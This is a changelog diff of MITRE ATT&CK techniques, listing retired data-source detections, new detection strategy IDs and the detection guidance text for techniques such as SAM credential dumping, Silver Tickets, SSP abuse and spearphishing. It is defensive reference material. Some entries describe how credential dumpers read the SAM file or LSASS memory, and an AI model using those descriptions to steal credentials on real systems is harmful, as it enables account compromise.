x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1593.002] Search Open Websites/Domains: Search Engines

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0811: Detection of Search Engines

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:03:45.401000+00:00	2025-10-24 17:48:55.709000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1596] Search Open Technical Databases

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0860: Detection of Search Open Technical Databases

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:04:02.249000+00:00	2025-10-24 17:48:48.734000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1593] Search Open Websites/Domains

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0856: Detection of Search Open Websites/Domains

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:04:23.505000+00:00	2025-10-24 17:49:10.188000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1594] Search Victim-Owned Websites

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0810: Detection of Search Victim-Owned Websites

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:04:36.505000+00:00	2025-10-24 17:48:26.799000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

[T1003.002] OS Credential Dumping: Security Account Manager

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0085: Credential Dumping from SAM via Registry Dump and Local File Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:04:51.689000+00:00	2025-10-24 17:48:26.545000+00:00
x_mitre_detection	Hash dumpers open the Security Accounts Manager (SAM) on the local file system (`%SystemRoot%/system32/config/SAM`) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.

[T1518.001] Software Discovery: Security Software Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0018: Firewall (Firewall Enumeration)
DS0018: Firewall (Firewall Metadata)

New Detections (Detection Strategies -> Technique):

DET0016: Security Software Discovery Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Firewall: Firewall Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Firewall: Firewall Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:05:09.449000+00:00	2025-10-24 17:49:23.401000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.

[T1547.005] Boot or Logon Autostart Execution: Security Support Provider

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0542: Registry and LSASS Monitoring for Security Support Provider Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:38.641000+00:00	2025-10-24 17:48:46.245000+00:00
x_mitre_detection	Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe` with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

[T1555.002] Credentials from Password Stores: Securityd Memory

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Access)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0057: Detect Suspicious Access to securityd Memory for Credential Extraction

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:05:25.349000+00:00	2025-10-24 17:48:28.055000+00:00
x_mitre_detection	Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.

[T1584.004] Compromise Infrastructure: Server

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)

New Detections (Detection Strategies -> Technique):

DET0874: Detection of Server

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content', 'Internet Scan: Response Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:05:41.313000+00:00	2025-10-24 17:49:30.616000+00:00
x_mitre_detection	Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1583.004] Acquire Infrastructure: Server

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)

New Detections (Detection Strategies -> Technique):

DET0871: Detection of Server

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Metadata', 'Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:05:58.721000+00:00	2025-10-24 17:48:50.911000+00:00
x_mitre_detection	Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1505] Server Software Component

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0547: Detection Strategy for T1505 - Server Software Component

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:21.713000+00:00	2025-10-24 17:49:27.065000+00:00
x_mitre_detection	Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

[T1569.002] System Services: Service Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0421: Detection Strategy for System Services Service Execution

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.444000+00:00	2025-10-24 17:49:35.506000+00:00
x_mitre_detection	Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).

[T1499.002] Endpoint Denial of Service: Service Exhaustion Flood

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0173: Detection Strategy for Endpoint DoS via Service Exhaustion Flood

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:06:48.799000+00:00	2025-10-24 17:48:39.609000+00:00
x_mitre_detection	Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1574.010] Hijack Execution Flow: Services File Permissions Weakness

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0019: Service (Service Metadata)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0436: Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Service: Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:32.419000+00:00	2025-10-24 17:49:09.575000+00:00
x_mitre_detection	Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

[T1548.001] Abuse Elevation Control Mechanism: Setuid and Setgid

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0110: Setuid/Setgid Privilege Abuse Detection (Linux/macOS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Metadata', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:17.707000+00:00	2025-10-24 17:48:53.456000+00:00
x_mitre_detection	Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.

[T1129] Shared Modules

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)

New Detections (Detection Strategies -> Technique):

DET0018: Behavior-chain, platform-aware detection strategy for T1129 Shared Modules

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:04.668000+00:00	2025-10-24 17:48:22.302000+00:00
x_mitre_detection	Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

[T1213.002] Data from Information Repositories: Sharepoint

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0025: Cloud Service (Cloud Service Metadata)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0500: Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:07:18.929000+00:00	2025-10-24 17:48:22.832000+00:00
x_mitre_detection	The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

[T1547.009] Boot or Logon Autostart Execution: Shortcut Modification

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0180: Detection Strategy for T1547.009 – Shortcut Modification (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:28.507000+00:00	2025-10-24 17:48:44.403000+00:00
x_mitre_detection	Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)

[T1558.002] Steal or Forge Kerberos Tickets: Silver Ticket

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0241: Detect Forged Kerberos Silver Tickets (T1558.002)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:09.547000+00:00	2025-10-24 17:49:26.177000+00:00
x_mitre_detection	Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.

[T1593.001] Search Open Websites/Domains: Social Media

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0812: Detection of Social Media

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:08:29.336000+00:00	2025-10-24 17:49:18.054000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1585.001] Establish Accounts: Social Media Accounts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0021: Persona (Social Media)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0851: Detection of Social Media Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Persona: Social Media']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:09:01.225000+00:00	2025-10-24 17:49:14.364000+00:00
x_mitre_detection	Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

[T1586.001] Compromise Accounts: Social Media Accounts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0021: Persona (Social Media)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0870: Detection of Social Media Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Persona: Social Media', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:08:45.478000+00:00	2025-10-24 17:48:32.696000+00:00
x_mitre_detection	Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

[T1205.002] Traffic Signaling: Socket Filters

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0162: Socket-filter trigger → on-host raw-socket activity → reverse connection (T1205.002)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:09:39.651000+00:00	2025-10-24 17:48:19.274000+00:00
x_mitre_detection	Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)

[T1072] Software Deployment Tools

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0223: Detection of Adversary Abuse of Software Deployment Tools

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:51.465000+00:00	2025-10-24 17:49:06.595000+00:00
x_mitre_detection	Detection methods will vary depending on the type of third-party software or system and how it is typically used. The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

[T1518] Software Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0018: Firewall (Firewall Enumeration)
DS0018: Firewall (Firewall Metadata)

New Detections (Detection Strategies -> Technique):

DET0392: Multi-Platform Software Discovery Behavior Chain

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation', 'Firewall: Firewall Enumeration', 'Firewall: Firewall Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:16.123000+00:00	2025-10-24 17:49:31.671000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1176] Software Extensions

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0092: Detection of Malicious or Unauthorized Software Extensions

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:22.784000+00:00	2025-10-24 17:48:39.525000+00:00
x_mitre_detection	Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. On macOS, monitor the command line for usage of the profiles tool, such as `profiles install -type=configuration`. Additionally, all installed extensions maintain a `plist` file in the `/Library/Managed Preferences/username/` directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)

[T1027.002] Obfuscated Files or Information: Software Packing

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0023: Obfuscated Binary Unpacking Detection via Behavioral Patterns

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.038000+00:00	2025-10-24 17:49:29.503000+00:00
x_mitre_detection	Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

[T1036.006] Masquerading: Space after Filename

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0292: Masquerading via Space After Filename - Behavioral Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:22.412000+00:00	2025-10-24 17:49:32.287000+00:00
x_mitre_detection	It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.

[T1566.001] Phishing: Spearphishing Attachment

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0236: Detection Strategy for Spearphishing Attachment across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:10:26.686000+00:00	2025-10-24 17:48:35.522000+00:00
x_mitre_detection	Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)

[T1598.002] Phishing for Information: Spearphishing Attachment

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0865: Detection of Spearphishing Attachment

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.390000+00:00	2025-10-24 17:49:04.751000+00:00
x_mitre_detection	Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

[T1598.001] Phishing for Information: Spearphishing Service

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0821: Detection of Spearphishing Service

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:11:18.959000+00:00	2025-10-24 17:49:38.182000+00:00
x_mitre_detection	Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1566.004] Phishing: Spearphishing Voice

Current version: 1.2

	Old Description			New Description
t	1	Adversaries may use voice communications to ultimately gain	t	1	Adversaries may use voice communications to ultimately gain
	>	access to victim systems. Spearphishing voice is a specific		>	access to victim systems. Spearphishing voice is a specific
	>	variant of spearphishing. It is different from other forms o		>	variant of spearphishing. It is different from other forms o
	>	f spearphishing in that is employs the use of manipulating a		>	f spearphishing in that it employs the use of manipulating a
	>	user into providing access to systems through a phone call		>	user into providing access to systems through a phone call
	>	or other forms of voice communications. Spearphishing freque		>	or other forms of voice communications. Spearphishing freque
	>	ntly involves social engineering techniques, such as posing		>	ntly involves social engineering techniques, such as posing
	>	as a trusted source (ex: [Impersonation](https://attack.mitr		>	as a trusted source (ex: [Impersonation](https://attack.mitr
	>	e.org/techniques/T1656)) and/or creating a sense of urgency		>	e.org/techniques/T1656)) and/or creating a sense of urgency
	>	or alarm for the recipient. All forms of phishing are elect		>	or alarm for the recipient. All forms of phishing are elect
	>	ronically delivered social engineering. In this scenario, ad		>	ronically delivered social engineering. In this scenario, ad
	>	versaries are not directly sending malware to a victim vice		>	versaries are not directly sending malware to a victim vice
	>	relying on [User Execution](https://attack.mitre.org/techniq		>	relying on [User Execution](https://attack.mitre.org/techniq
	>	ues/T1204) for delivery and execution. For example, victims		>	ues/T1204) for delivery and execution. For example, victims
